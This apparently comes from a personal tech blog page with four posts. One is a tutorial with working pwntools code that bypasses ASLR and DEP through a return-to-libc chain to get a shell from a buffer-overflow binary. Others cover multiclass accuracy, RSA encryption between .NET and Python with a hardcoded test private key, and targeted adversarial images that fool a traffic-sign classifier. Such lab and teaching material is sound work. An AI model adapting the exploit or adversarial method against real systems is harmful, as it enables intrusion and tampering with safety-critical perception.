Payment of ₹ requested by HONEY VIG. Click the link to pay securely via Razorpay: Make 5000 payment Payment of ₹ requested by HONEY VIG. Click the link to pay securely via Razorpay: Make 5000 payment ⭐ If you would like to buy me a coffee, well thank you very much that is mega kind! : https://www.buymeacoffee.com/honeyvig
Hire a web Developer and Designer to upgrade and boost your online presence with cutting edge Technologies
Showing posts with label python. Show all posts
Showing posts with label python. Show all posts

Sunday, April 24, 2022

Bypassing ASLR and DEP - Getting Shells with pwntools

 

Today, I’d like to take some time and to present a short trick to bypass both ASLR (Address Space Layout Randomization) and DEP (Data Execution Prevention) in order to obtain a shell in a buffer-overflow vulnerable binary.

I’ve seen this problem discussed using return-to-PLT strategies, which is fine if your targeted method is already used in the binary – although, let’s face it, not many programs will call system() or exec() and invite you to spawn shells.

This approach revolves around a return-to-libc attack in which the attacker first leaks the address of a known function (e.g.: puts()) and then computes the offset between that known function and the targeted function (e.g.: system()). By summing the 2 values, the result is the address of the function that we want to call using the exploit. If you understood this part, you only need to prepare the payloads.

Given a vulnerable binary, let’s consider the following scenario:

  1. ASLR is enabled
  2. DEP is enabled
  3. Only gets() and puts() are called in the binary
  4. Running on a x64 system (no brute-force)
  5. For the sake of simplicity: no stack protectors (no canary values)
  6. The attacker knows which libc version is used by the binary

Vulnerable Binary

While writing this, I’ve been using this really simple binary (vuln.c):


#include<stdio.h>

int main()
{
    char buffer[40];
    gets(buffer);

    printf("hi there\n");

    return 0;
}

Compiled with the following parameters:


gcc -Wall -ansi -fno-stack-protector vuln.c -o vuln

Step 1: Basic Buffer Overflow

We start by finding the offset in order to overwrite the return address and perform a simple execution hijacking. There are multiple ways of doing this: you can either start with a payload of a random size and analyze the behavior of the binary in a debugger (like GDB) such as the image below, where we overwrite the return address and the RIP (PC) jumps to 0x414241424142 (“ABABAB”)

I usually test this with an address that calls a specific function or jumps back to the start of the program (0x400566)

Why is this important?

It is important because ASLR randomizes the heap, stack and the offsets where are mapped the libraries (such as libc) only when the binary is launched into execution. Calling main once again will not trigger a re-randomization.

This means we can submit multiple payloads while having fixed offsets (mitigating the effect of ASLR).


Step 2: Leaking the Address of puts@libc

This is the difficult part. Multiple payloads are required in order to spawn a shell using this binary. Basically, you’ll want to leak the address of puts() using a puts@PLT() call and then compute the address of system() by having access to libc. Additionally, you’ll want to compute the address of a “sh” string, in order to achieve a system("sh") call. You’ll have to use a second payload to perform the aforementioned call.

I recommend you perform these steps using a framework like pwntools since the the second payload must be adapted using information leaked at runtime.

To continue, one must understand the role of the GOT (Global Offset Table) in a binary as there is no exact way of previously knowing where ASLR will map each external library of the current process.

The addresses of the external methods are usually determined at runtime when these methods are called for the first time (i.e.: when the PLT trampoline is executed for the first time). However, the addresses need to be referenced in the original code before the program runs -> so placeholders (fixed addresses / @GOT addresses) are used. GOT acts as a dictionary and binds the placeholder addresses to the real/external addresses (in the library). The values of the GOT are determined and written by the dynamic address solver (linker) once a method is called.

In our first payload, we’ll want to use GOT addresses (placeholders) instead of external addresses (which are randomized). One interesting observation is that calling puts(puts@GOT) will actually output the external address of puts@libc.

We’ll want our initial payload to perform such a call in order to have an initial idea of where the libc is mapped.

Start by running the following command so you can view the address of puts@GOT:


objdump -R vuln

Pay attention at the second row and write down the address:


OFFSET           TYPE                VALUE

0000000000600ff8 R_X86_64_GLOB_DAT   __gmon_start__
> 0000000000601018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5

Next, you’ll need a ROP gadget that takes a parameter from the stack and places it into the RDI register (in our case, takes the @GOT address from our payload, from the stack, and sets it as the first parameter for a future puts@PLT call). As you remember, we’re running on a x64 architecture and the calling convention states that the first parameter of a method must be placed in the RDI register. We’re looking for a POP RDI; RET gadget – I’m doing this using ROPgadget (so it’s ROPgadget --binary vuln) but feel free to use whatever you’re comfortable with (GDB, radare2, etc.).

We’ll get the following line:

0x00000000004005f3 : pop rdi ; ret

The last thing that the payload requires is a way to call puts(). We can achieve this by calling puts@PLT (through the PLT trampoline) since its address is also fixed and unaffected by ASLR.
You can use something like this to extract the address from the binary:


objdump -d -M intel vuln | grep "puts@plt"

I got something like this:

0000000000400430 <puts@plt>:

Finally, we can construct the first payload. I’ll write this as a pwntools python script so I’ll be able to expand it and include the second payload. The new flow of the program must be the following:

RET to pop_rdi_ret_address -> (RDI = puts@GOT) RET to puts_plt_address -> RET to main


from pwn import *

r = process('vuln')

main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)

r.sendline(payload)
print r.recvline() # "hi there"

leaked_output = r.recvline()
leaked_output = leaked_output[:-1]

print('leaked puts() address', leaked_output)
r.sendline('a')
print r.recvline() # "hi there"
 

Step 3: Finding the Address of system@libc

In this part, we compute the offset between puts@libc and system@libc while also finding the address of a “sh” string. We know, from the previous ldd run, that the binary uses the libc located at: /lib/x86_64-linux-gnu/libc.so.6.

Running the following commands will return the offsets of system() and puts() from libc:


objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "_IO_puts"

The lines of interest are:


0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
000000000006f690 <_IO_puts@@GLIBC_2.2.5>:

I found the offset of the “sh” string inside libc using radare2. Pick one.

Subtracting puts()’s offset from the leaked puts@libc address gives us the base address of libc (the start of the memory region where it is mapped for the current process). By adding the offset of system() we get a call to system@libc.

Now, we can adapt the previous script in order to create the second payload that makes the call.


from pwn import *

r = process('vuln')

main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3

puts_libc_offset = 0x000000000006f690
system_libc_offset = 0x0000000000045390
sh_libc_offset = 0x00011e70

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)

r.sendline(payload)
print r.recvline()

leaked_output = r.recvline()
leaked_output = leaked_output[:-1]

print('leaked puts() address', leaked_output)

leaked_output += '\x00\x00'

puts_libc_address = u64(leaked_output)

system_libc_address = puts_libc_address - puts_libc_offset + system_libc_offset
print('system() address', p64(system_libc_address))

sh_libc_address = puts_libc_address - puts_libc_offset + sh_libc_offset

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(sh_libc_address) + p64(system_libc_address) + p64(main_address)

r.sendline(payload)

print(r.recvline()) # hi there

#r.sendline(payload)

r.interactive()

Small Proof-Of-Concept

Here is a small PoC, representing the final result.

For reference, the VM runs 64 bit image of Ubuntu 16.04 Xenial with glibc 2.23 (md5(libc.so.6): 8c0d248ea33e6ef17b759fa5d81dda9e), pwntools 4.0.1 and Python 2.7.

Upon receiving an email (thanks Stefan), I’ve noticed that I was sending the payload twice (had 2x r.sendline(payload)); this caused the weird “not found” message in the shell. I commented it out in the code above but left the image in case someone has this issue too.
 

 

 

 

 

 

Avoid a Mistake: Correctly Calculate Multiclass Accuracy

 

Today I held a short laboratory which tackled different metrics used in evaluating classifiers. One of the tasks required that, given the performances of 2 classifiers as confusion matrices, the students will calculate the accuracy of the 2 models. One model was a binary classifier and the other was a multiclass classifier.

Many students resorted to googling for an accuracy formula which returned the following function:

Then, they calculated a ‘per-class’ accuracy (for class

, they had

) and macro-averaged the results like below:

To their surprise, the resulted accuracy for the multiclass classifier was erroneous and highly different (when compared to accuracy_score() from sklearn). However, the accuracy of the binary classifier was correct.

As there wasn’t much time available, I told them to use the following accuracy formula to match the results of sklearn and I’ll send an explanation later:

Some of you might recognize this as micro-averaged precision.

The purpose of this article is to serve as a list of DO’s and DONT’s so we can avoid such mistakes in the future.

What was wrong?

Basically, you’re prone to get invalid results if you average accuracy values in an attempt to obtain the global accuracy. But… even if you directly calculate the global accuracy using the above formula, you’d get skewed values.

Take a look at the following classifier, described using a confusion matrix:

\ Class #0 Class #1 Class #2
Class #0 0 100 100
Class #1 100 0 100
Class #2 100 100 0

You’ll notice that

thus the classifier is doing a really bad job.

If we follow the students’ approach and calculate the ‘per-class’ accuracy (let’s say Class #0), we have:

This already looks suspicious. You’ll get the same results for the other 2 classes, so… on average,

. This is definitely wrong.

If you directly compute global accuracy using the same formula (summing all

, , …), you get the same result because of the symmetry. This happens mainly because of the

in the numerator which grows faster than any other term. In other words, as the number of classes grows, this error grows as well; a similar model, but with 4 classes, gets a 0.5 accuracy.

Using the second formula, the global accuracy becomes:

Which yields, indeed, a better result. Moreover, it generates the same results as accuracy_score() from sklearn, given more diverse confusion matrices.

If you compute ‘per class’ accuracies using the second formula and average the values, you’re basically getting a macro-averaged precision. Point is, that’s not accuracy - so don’t do that.

Conclusion

I’d recommend avoiding:

  • the idea of calculating a global accuracy by averaging ‘per-class’ accuracies
  • the red formula, which includes
  • , since the other one returns correct values for any number of classes

Overall, you can compute precision, recall, F1 in a ‘per-class’ manner. But I’m not so sure it also works with the accuracy.

RSA: Encrypt in .NET & Decrypt in Python

 

So… one of my current projects required the following actions: asymmetrically encrypt a string in .NET using a public key and decrypt it in a python script using a private key.

The problem that I’ve encountered was that, apparently, I couldn’t achieve compatibility between the two exposed classes: RSACryptoServiceProvider and PKCS1_v1_5. To be more specific, the python script couldn’t decrypt the ciphertext even though proper configurations were made and the provided keys were compatible. Additionally, separate encryption-decryption actions worked inside .NET and python but not in-between them.

I wasn’t able to find too much information about this specific problem in the RSAParameters documentation, hence this post.

Solution

Alright, the issue seems to be caused by a difference in endianness between the two classes, when the RSA parameters are provided. PKCS1_v1_5 uses little endian and RSACryptoServiceProvider prefers big endian. In my case, this made the encryption method use a different key than the one I though I specified. Nevertheless, it was more fun to debug because of PKCS which always ensured different ciphertexts.

I fixed this by base64-encoding the exponent and modulus in big-endian format (in python) and then loading them with RSACryptoServiceProvider.FromXmlString() (in .NET).

Working Example

I hardcoded the (N, E, D) parameters for a private key in python and exported the exponent and modulus to be used later for encryption.


# custom base64 encoding
def b64_enc(n, l):
    n = n.to_bytes(l, 'big')
    return base64.b64encode(n)

# fixed a set of keys for testing purposes
N = 26004126751443262055682011081007404548850063543219588539086190001742195632834884763548378850634989264309169823030784372770378521274048211537270851954737597964394738860810397764157069391719551179298507244962912383723776384386127059976543327113777072990654810746825378287761304202032439750301912045623786736128233730798303406858144431081065384988539277630625160727011582345942687126935423502995613920211095965452425548919926951203151483590222152446516520421379279591807660810550784744188433550335950652666201439521115515355539373928576162221297645781251953236644092963307595988040539993067709240004782161131243282208593
E = 65537
D = 844954574014654722486150458473919587206863455991060222377955072839922571984098861772377020041002939383041291761051853484512886782322743892284027026528735139923685801975918062144627908962369108081178131103781404720078456605432924519279933702927938064507063482999903002331319671303661755165294744970869186178561527578261522199503340027952798084625109041630166309505066404215223685733585467434168146932177924040219720383860880583466676764286302300281603021045351842170755190359364339936360197909582974922675680101321863304283607829144759777189360340512230537108705852116021758740440195445732631657876008160876867027543

# construct pair of keys
private_key = RSA.construct((N, E, D))
public_key = private_key.publickey()

# base64-encode parameters in big-endian format
EXP = b64_enc(public_key.e, 3)
MODULUS = b64_enc(public_key.n, 256)

print('EXP:', EXP, 'MODULUS:', MODULUS)

# Output:
# EXP: b'AQAB' MODULUS: b'zf4LgceVPvjMLz/pp8exH58AeBrhjLe0k4FRmd59I0k4sH6oug6Z9RfY4FvEFcssBwH1cmWF5/Zen8xbRVRyUnzer6b6cKmlzHFYf0LlbovvYMkW5pdhRcTHK2ijByGtmVgU/CEKEQTy3elpU7ZsHE8D6T1M7L2gmGAxvgldUMRu4l8BPuRyht1a9dA9b6005atpdlkCSc3emXSfyBOBwNE0UicVTVncn9SBjP7bTBGgOKshYnYsqh4BD0I7AU3xdoAsZVWudECX/zVa7uUOk1ooVYjMEyfBngrEDXrmIkAlVruUuj/eWiYwT2vXqByQgDfDvat5IS4i3ywiHAWXUQ=='

In .NET (I used C#), there will be something like this:


using System;
using System.Security.Cryptography;
using System.Text;

public class RSACryptoApp
{
    // parameters from the python script (public key)
    private static readonly String EXP = "AQAB";
    private static readonly String MODULUS = "zf4LgceVPvjMLz/pp8exH58AeBrhjLe0k4FRmd59I0k4sH6oug6Z9RfY4FvEFcssBwH1cmWF5/Zen8xbRVRyUnzer6b6cKmlzHFYf0LlbovvYMkW5pdhRcTHK2ijByGtmVgU/CEKEQTy3elpU7ZsHE8D6T1M7L2gmGAxvgldUMRu4l8BPuRyht1a9dA9b6005atpdlkCSc3emXSfyBOBwNE0UicVTVncn9SBjP7bTBGgOKshYnYsqh4BD0I7AU3xdoAsZVWudECX/zVa7uUOk1ooVYjMEyfBngrEDXrmIkAlVruUuj/eWiYwT2vXqByQgDfDvat5IS4i3ywiHAWXUQ==";

    public static void Main(string[] args)
    {
       RSACryptoServiceProvider csp = new RSACryptoServiceProvider(2048);
       csp.FromXmlString("<RSAKeyValue><Exponent>" + EXP + "</Exponent><Modulus>" + MODULUS + "</Modulus></RSAKeyValue>");

       // encrypting a string for testing purposes
       byte[] plainText = Encoding.ASCII.GetBytes("Hello from .NET");
       byte[] cipherText = csp.Encrypt(plainText, false);

       Console.WriteLine("Encrypted: " + Convert.ToBase64String(cipherText));

       // Output:
       // Encrypted: F/agXpfSrs7HSXZz+jVq5no/xyQDXuOiVAG/MOY7WzSlp14vMOTM8TshFiWtegB3+2BZCMOEPLQFFFbxusuCFOYGGJ8yRaV7q985z/UDJVXvbX5ANYqrirobR+c868mY4V33loAt2ZFNXwr+Ubk11my1aJgHmoBem/6yPfoRd9GrZaSQnbJRSa3EDtP+8pXETkF9B98E7KvElrsRTLXEXSBygmeKsyENo5DDcARW+lVVsQuP8wUEGnth9SX4oG8i++gmQKkrv0ep6yFrn05xZJKgpOfRiTTo/Bkh7FxNP2wo7utzhtYkNnvtXaJPWAvqXg93KmNPqg1IsN4P1Swb8w==
    }
}

Back to the python script:


cipher = PKCS1_v1_5.new(private_key)

random_generator = Random.new().read
sentinel = random_generator(20)

cipher_text = 'F/agXpfSrs7HSXZz+jVq5no/xyQDXuOiVAG/MOY7WzSlp14vMOTM8TshFiWtegB3+2BZCMOEPLQFFFbxusuCFOYGGJ8yRaV7q985z/UDJVXvbX5ANYqrirobR+c868mY4V33loAt2ZFNXwr+Ubk11my1aJgHmoBem/6yPfoRd9GrZaSQnbJRSa3EDtP+8pXETkF9B98E7KvElrsRTLXEXSBygmeKsyENo5DDcARW+lVVsQuP8wUEGnth9SX4oG8i++gmQKkrv0ep6yFrn05xZJKgpOfRiTTo/Bkh7FxNP2wo7utzhtYkNnvtXaJPWAvqXg93KmNPqg1IsN4P1Swb8w=='

plain_text = cipher.decrypt(base64.b64decode(cipher_text.encode('ASCII')), sentinel)
print('Decrypted:', plain_text.decode('ASCII'))

# Output:
# Decrypted: Hello from .NET

PyTorch Iterative FGVM: Targeted Adversarial Samples for Traffic-Sign Recognition

 

Inspired by the progress of driverless cars and by the fact that this subject is not thoroughly discussed I decided to give it a shot at creating smooth targeted adversarial samples that are interpreted as legit traffic signs with a high confidence by a PyTorch Convolutional Neural Network (CNN) classifier trained on the GTSRB dataset.

I’ll be using the Fast Gradient Value Method (FGVM) in an iterative manner - which is also called the Basic Iterative Method (BIM). I noticed that most articles only present PyTorch code for non-targeted Fast Gradient Sign Method (FGSM) - which performs well in evading classifiers but is, in my opinion, somehow limited.

I’ll try to discuss in this article only the important aspects of this problem. However, I also prepared a Google Colab Notebook which includes complete source code and results.
V

Targeted Network

For this experiment, I’ve constructed a basic LeNet5 inspired CNN in PyTorch. It performs 2 convolutions of size 5x5 on 32x32 grayscale images, separated by max-pooling. The dataset is slightly unbalanced, but this was compensated for during the training process.

This network is represented using the following PyTorch snippet:


class LeNet(nn.Module):
  def __init__(self, num_classes=47, affine=True):

      super().__init__()
      self.conv1 = nn.Conv2d(1, 32, 5)
      self.in1 = nn.InstanceNorm2d(32, affine=affine)

      self.conv2 = nn.Conv2d(32, 64, 5)
      self.in2 = nn.InstanceNorm2d(64, affine=affine)
      
      self.fc1 = nn.Linear(64 * 5 * 5, 256)
      self.fc2 = nn.Linear(256, 128)
      self.fc3 = nn.Linear(128, num_classes)


  def forward(self, x):
      out = F.relu(self.in1(self.conv1(x)))
      out = F.max_pool2d(out, 2)

      out = F.relu(self.in2(self.conv2(out)))
      out = F.max_pool2d(out, 2)
      
      out = out.view(out.size(0), -1)
      
      out = F.relu(self.fc1(out))
      out = F.relu(self.fc2(out))
      out = self.fc3(out)

      return out

The architecture is not optimal for the sake of simplicity; additionally, achieving state-of-the-art traffic-sign recognition is not in the scope of this article. Evaluation results on the GTSRB testing set are as follows:

  • Accuracy: ~95%
  • Precision: ~93%
  • Recall: ~93%

Targeted Adversarial Samples with Iterative FGVM

When training a neural network the focus is on optimizing parameters (i.e. weights) in order to minimize the loss (e.g.: Mean Squared Error, Cross Entropy, etc.) between the current output and desired output while the inputs are fixed. This is done through gradient descent. As an example, if a neural network models the function below, the

(weight) and

(bias) variables are adjusted during the training.

When talking about targeted FGVM,

and are fixed and the input

is adjusted through gradient descent (computed w.r.t. different variables, obviously). Usually this implies minimizing the error between the targeted adversarial output and the current output - basically shifting the current output towards the targeted output.

Moreover, when the input is in image-format, additional constraints must be addressed:

  • images (inputs) must be clamped between 0 and 1 (float representation)
  • images must be smooth in order to mitigate basic noise filtering mechanisms

PyTorch: Generating Adversarial Samples

The code I ended up with is posted below; further implementation details will also be presented.


targeted_adversarial_class = torch.tensor([INV_TRAFFIC_SIGNS_LABELS['stop']])
adversarial_sample = torch.rand((1, 1, 32, 32)).requires_grad_() 

# optimizer for the adversarial sample
adversarial_optimizer = torch.optim.Adam([adversarial_sample], lr=1e-3)

for i in range(10000):

  adversarial_optimizer.zero_grad()

  prediction = net(adversarial_sample)
  
  # classification loss + 0.05 * image smoothing loss
  loss = torch.nn.CrossEntropyLoss()(prediction, targeted_adversarial_class) + \
          0.05*((torch.nn.functional.conv2d(torch.nn.functional.pad(adversarial_sample, (1,1,1,1), 'reflect'), torch.FloatTensor([[[0, 0, 0], [0, -3, 1], [0, 1, 1]]]).view(1,1,3,3))**2).sum())
  

  # this is the predicted class number
  predicted_class = np.argmax(prediction.detach().numpy(), axis=1)

  # updates gradient and backpropagates errors to the input
  loss.backward()
  adversarial_optimizer.step()

  # ensuring that the image is valid
  adversarial_sample.data = torch.clamp(adversarial_sample.data, 0, 1)

  if i % 500 == 0:
    plt.imshow(adversarial_sample.data.view(32, 32), cmap='gray')
    plt.show()

    print('Predicted:', TRAFFIC_SIGNS_LABELS[predicted_class[0]])
    print('Loss:', loss)

The current CNN is trained on 32x32 grayscale images so it makes sense to start with an adversarial sample of same size which consists of random noise distributed over one channel. It is also required to indicate through requires_grad_() that this variable should be updated by Autograd.


adversarial_sample = torch.rand((1, 1, 32, 32)).requires_grad_() 

Next, an optimizer is created that instead of tweaking weights will tweak the adversarial_sample defined above:


adversarial_optimizer = torch.optim.Adam([adversarial_sample], lr=1e-3)

The loss function is defined using torch.nn.CrossEntropyLoss() - which is the same criterion used for training. In this example, I’ll try to create a sample that is classified as a stop sign (targeted_adversarial_class).


targeted_adversarial_class = torch.tensor([INV_TRAFFIC_SIGNS_LABELS['stop']])

prediction = net(adversarial_sample)

# classification loss
loss = torch.nn.CrossEntropyLoss()(prediction, targeted_adversarial_class)

This loss function does well in generating adversarial images but the results have a noisy aspect (e.g., powerful contrasts between small groups of pixels) and might look suspicious. Since this noise can be easily removed using basic filtering, smooth images are wanted.

Defining a smooth-image constraint can be done by minimizing the Mean Squared Error between adjacent pixels. Think of it as applying an edge-detection filter and attempting to minimize the overall result. However, this has an impact on the efficiency of the generated sample as it adds dependencies between pixels. To minimize the loss of freedom, only the adjacent pixels from the bottom-right side are taken into account. The following 3x3 convolution kernel is used to determine the color difference between a pixel and its 3 other neighbors:

K    
0 0 0
0 -3 1
0 1 1

In PyTorch, I implemented the aforementioned method using torch.nn.functional.conv2d() and torch.nn.functional.pad():


# image smoothing loss
loss += (torch.nn.functional.conv2d(torch.nn.functional.pad(adversarial_sample, (1,1,1,1), 'reflect'), torch.FloatTensor([[[0, 0, 0], [0, -3, 1], [0, 1, 1]]]).view(1, 1, 3, 3))**2).sum()

Finally, the image is clamped to create a valid float tensor using:


adversarial_sample.data = torch.clamp(adversarial_sample.data, 0, 1)

Multiple iterations are required in order to properly optimize the input.

Conclusions

FGVM proves reliable in crafting smooth targeted adversarial samples for basic classifiers implemented with CNNs. However, additional problems need to be addressed in order to become a feasible attack. The crafted sample must be picked up by the segmentation algorithm as a possible traffic sign in the detection phase. Next, the adversarial sample’s efficiency should not be impacted by small affine transformations (e.g., being shifted 3 pixels to the left) - this might be fixed through data augmentation. Additionally, factors such as brightness, contrast or various camera properties can still reduce the success rate of an adversarial sample.

Finally, samples which are more resistant to uniformly distributed noise can be obtained by removing the image smoothing constraint.